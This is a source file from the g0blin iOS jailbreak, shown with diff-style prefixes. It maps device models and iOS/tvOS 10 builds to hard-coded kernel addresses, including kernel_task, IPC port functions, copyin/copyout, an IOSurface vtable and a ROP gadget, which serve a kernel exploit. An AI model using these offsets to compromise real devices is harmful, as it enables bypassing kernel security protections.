1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224 |
- //
- // offsets.m
- // g0blin
- //
- // Created by Sticktron on 2017-12-26.
- // Copyright © 2017 Sticktron. All rights reserved.
- //
- #include "kppoffsets.h"
- #include "kppcommon.h"
- #include <sys/utsname.h>
- #include <sys/sysctl.h>
- uint64_t OFFSET_ZONE_MAP;
- uint64_t OFFSET_KERNEL_MAP;
- uint64_t OFFSET_KERNEL_TASK;
- uint64_t OFFSET_REALHOST;
- uint64_t OFFSET_BZERO;
- uint64_t OFFSET_BCOPY;
- uint64_t OFFSET_COPYIN;
- uint64_t OFFSET_COPYOUT;
- uint64_t OFFSET_IPC_PORT_ALLOC_SPECIAL;
- uint64_t OFFSET_IPC_KOBJECT_SET;
- uint64_t OFFSET_IPC_PORT_MAKE_SEND;
- uint64_t OFFSET_IOSURFACEROOTUSERCLIENT_VTAB;
- uint64_t OFFSET_OSSERIALIZER_SERIALIZE;
- uint64_t OFFSET_ROP_ADD_X0_X0_0x10;
- uint64_t OFFSET_ROOT_MOUNT_V_NODE;
- kern_return_t init_offsets()
- {
- LOG("Detecting device and OS...");
-
- kern_return_t error = KERN_SUCCESS;
-
- //read device id
- int d_prop[2] = {CTL_HW, HW_MACHINE};
- char device[20];
- size_t d_prop_len = sizeof(device);
- //sysctl(d_prop, 2, NULL, &d_prop_len, NULL, 0);
- sysctl(d_prop, 2, device, &d_prop_len, NULL, 0);
- LOG("device: %s", device);
-
- int version_prop[2] = {CTL_KERN, KERN_OSVERSION};
- char osversion[20];
- size_t version_prop_len = sizeof(osversion);
- //sysctl(version_prop, 2, NULL, &version_prop_len, NULL, 0);
- sysctl(version_prop, 2, osversion, &version_prop_len, NULL, 0);
- LOG("version: %s", osversion);
-
- // Apple TV 4 (2015)
- if(!strcmp(device, "AppleTV5,3"))
- {
- // 10.2.2
- if(!strcmp(osversion, "14W756"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d028;
- OFFSET_COPYOUT = 0xfffffff00718d21c;
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- //OFFSET_CHGPROCCNT = 0xfffffff00739aa04;
- //OFFSET_KAUTH_CRED_REF = 0xfffffff007374d90;
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f11678;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006935398;
- OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff00744db90;
- //OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff00666a09c;
-
-
- }
- // 10.2.1
- if(!strcmp(osversion, "14W585a"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d37c;
- OFFSET_COPYOUT = 0xfffffff00718d570;
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- //OFFSET_CHGPROCCNT = 0xfffffff00739aab4;
- //OFFSET_KAUTH_CRED_REF = 0xfffffff007374e6c;
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f15678;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00693a398;
- OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff00744dc40;
- // OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff00666e09c;
-
-
- }
- // 10.2
- if(!strcmp(osversion, "14W265"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d3a8;
- OFFSET_COPYOUT = 0xfffffff00718d59c;
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- //OFFSET_CHGPROCCNT = 0xfffffff00739a78c;
- //OFFSET_KAUTH_CRED_REF = 0xfffffff007374b2c;
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f15678;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00693d398;
- OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff00744d6ac;
- //OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff00667109c;
-
-
- }
- // 10.1.1
- if(!strcmp(osversion, "14U712a"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007566360;
- OFFSET_KERNEL_MAP = 0xfffffff0075c2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075c2050;
- OFFSET_REALHOST = 0xfffffff007548a98;
- OFFSET_BZERO = 0xfffffff00708e140;
- OFFSET_BCOPY = 0xfffffff00708df80;
- OFFSET_COPYIN = 0xfffffff00718f76c;
- OFFSET_COPYOUT = 0xfffffff00718f974;
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075c20b8;
- //OFFSET_CHGPROCCNT = 0xfffffff0073a4940;
- //OFFSET_KAUTH_CRED_REF = 0xfffffff00737e6d4;
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a6200;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b98a0;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5d44;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f1c960;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00697e29c;
- OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff00745b100;
- // OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff0066b30b4;
-
-
- }
- // 10.1
- if(!strcmp(osversion, "14U593"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007566360;
- OFFSET_KERNEL_MAP = 0xfffffff0075c2058;
- OFFSET_KERNEL_TASK = 0xfffffff0075c2050;
- OFFSET_REALHOST = 0xfffffff007548a98;
- OFFSET_BZERO = 0xfffffff00708e140;
- OFFSET_BCOPY = 0xfffffff00708df80;
- OFFSET_COPYIN = 0xfffffff00718f748;
- OFFSET_COPYOUT = 0xfffffff00718f950;
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075c20b8;
- //OFFSET_CHGPROCCNT = 0xfffffff0073a491c;
- //OFFSET_KAUTH_CRED_REF = 0xfffffff00737e6b0;
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a6200;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b987c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5d44;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f1c960;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00697e29c;
- OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff00745b0dc;
- // OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff0066b30b4;
-
-
- }
- // 10.0.1
- if(!strcmp(osversion, "14U100"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007562160;
- OFFSET_KERNEL_MAP = 0xfffffff0075be058;
- OFFSET_KERNEL_TASK = 0xfffffff0075be050;
- OFFSET_REALHOST = 0xfffffff007544898;
- OFFSET_BZERO = 0xfffffff00708a140;
- OFFSET_BCOPY = 0xfffffff007089f80;
- OFFSET_COPYIN = 0xfffffff00718baf8;
- OFFSET_COPYOUT = 0xfffffff00718bd00;
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075be0b8;
- //OFFSET_CHGPROCCNT = 0xfffffff0073a0d48;
- //OFFSET_KAUTH_CRED_REF = 0xfffffff00737ab58;
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a1bf0;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b4e10;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a18a4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f1c7a0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00698629c;
- OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff007456cb8;
- // OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff0066bb0b4;
-
-
- }
- // 10.0.1
- if(!strcmp(osversion, "14U71"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007562160;
- OFFSET_KERNEL_MAP = 0xfffffff0075be058;
- OFFSET_KERNEL_TASK = 0xfffffff0075be050;
- OFFSET_REALHOST = 0xfffffff007544898;
- OFFSET_BZERO = 0xfffffff00708a140;
- OFFSET_BCOPY = 0xfffffff007089f80;
- OFFSET_COPYIN = 0xfffffff00718baf8;
- OFFSET_COPYOUT = 0xfffffff00718bd00;
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075be0b8;
- //OFFSET_CHGPROCCNT = 0xfffffff0073a0d48;
- //OFFSET_KAUTH_CRED_REF = 0xfffffff00737ab58;
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a1bf0;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b4e10;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a18a4;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f1c7a0;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff00698629c;
- OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff007456cb8;
- // OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff0066bb0b4;
-
-
- }
- // 10.0
- if(!strcmp(osversion, "14T330"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00755e160;
- OFFSET_KERNEL_MAP = 0xfffffff0075ba058;
- OFFSET_KERNEL_TASK = 0xfffffff0075ba050;
- OFFSET_REALHOST = 0xfffffff007540898;
- OFFSET_BZERO = 0xfffffff00708a140;
- OFFSET_BCOPY = 0xfffffff007089f80;
- OFFSET_COPYIN = 0xfffffff00718ae90;
- OFFSET_COPYOUT = 0xfffffff00718b098;
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075ba0b8;
- //OFFSET_CHGPROCCNT = 0xfffffff00739f8c8;
- //OFFSET_KAUTH_CRED_REF = 0xfffffff007379a90;
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a16ec;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b47b0;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a13a0;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f1c720;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0066d30a8;
- OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff007455748;
- // OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff0066bb0b4;
-
-
- }
- }
-
- // iPhone 6
- if(!strcmp(device, "iPhone7,2"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d028;
- OFFSET_COPYOUT = 0xfffffff00718d21c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006eee1b8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b2174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d37c;
- OFFSET_COPYOUT = 0xfffffff00718d570;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a60b4;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b938c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5bd8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006eee1b8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b2174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d3a8;
- OFFSET_COPYOUT = 0xfffffff00718d59c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006eee1b8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b5174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007558478;
- OFFSET_KERNEL_MAP = 0xfffffff0075b4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075b4048;
- OFFSET_REALHOST = 0xfffffff00753aba0;
- OFFSET_BZERO = 0xfffffff00708df80;
- OFFSET_BCOPY = 0xfffffff00708ddc0;
- OFFSET_COPYIN = 0xfffffff00718d3a8;
- OFFSET_COPYOUT = 0xfffffff00718d59c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070a611c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070b9374;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070a5c40;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006eee1b8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b5174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075b40b0;
- }
- }
-
- // iPhone 6s
- if(!strcmp(device, "iPhone8,1"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071803a0;
- OFFSET_COPYOUT = 0xfffffff007180594;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006462174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
-
-
- // 10.3.2 --------------------------------------------------------------
- // offically working offsets by sticktron.
- //----------------------------------------------------------------------
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478; /* "zone_init: kmem_suballoc failed" */
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0; /* host_priv_self */
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071806f4;
- OFFSET_COPYOUT = 0xfffffff0071808e8;
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94; /* convert_task_suspension_token_to_port */
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c; /* convert_task_suspension_token_to_port */
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8; /* "ipc_host_init" */
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b1398;
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- //----------------------------------------------------------------------
-
-
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006465174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff007548478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
- OFFSET_REALHOST = 0xfffffff00752aba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180720;
- OFFSET_COPYOUT = 0xfffffff007180914;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099efc;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad154;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a20;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006465174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
- }
- }
-
- // iPad Air (WiFi), iPad Air (China) and iPad Air (Cellular)
- if(!strcmp(device, "iPad4,1") || !strcmp(device, "iPad4,3") || !strcmp(device, "iPad4,2"))
- {
- // 10.3.3
- if(!strcmp(osversion, "14G60"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007180e98;
- OFFSET_COPYOUT = 0xfffffff00718108c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2e338;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064fe174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3.2
- if(!strcmp(osversion, "14F89"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff0071811ec;
- OFFSET_COPYOUT = 0xfffffff0071813e0;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f14;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1ec;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099a38;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2e338;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006502174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3.1
- if(!strcmp(osversion, "14E304"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007181218;
- OFFSET_COPYOUT = 0xfffffff00718140c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f7c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1d4;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099aa0;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2e338;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006501174;
-
- OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a80b0;
- }
- // 10.3
- if(!strcmp(osversion, "14E277"))
- {
- OFFSET_ZONE_MAP = 0xfffffff00754c478;
- OFFSET_KERNEL_MAP = 0xfffffff0075a8050;
- OFFSET_KERNEL_TASK = 0xfffffff0075a8048;
- OFFSET_REALHOST = 0xfffffff00752eba0;
- OFFSET_BZERO = 0xfffffff007081f80;
- OFFSET_BCOPY = 0xfffffff007081dc0;
- OFFSET_COPYIN = 0xfffffff007181218;
- OFFSET_COPYOUT = 0xfffffff00718140c;
-
- OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099f7c;
- OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad1d4;
- OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff007099aa0;
- OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006f2e338;
- OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006501174;
-
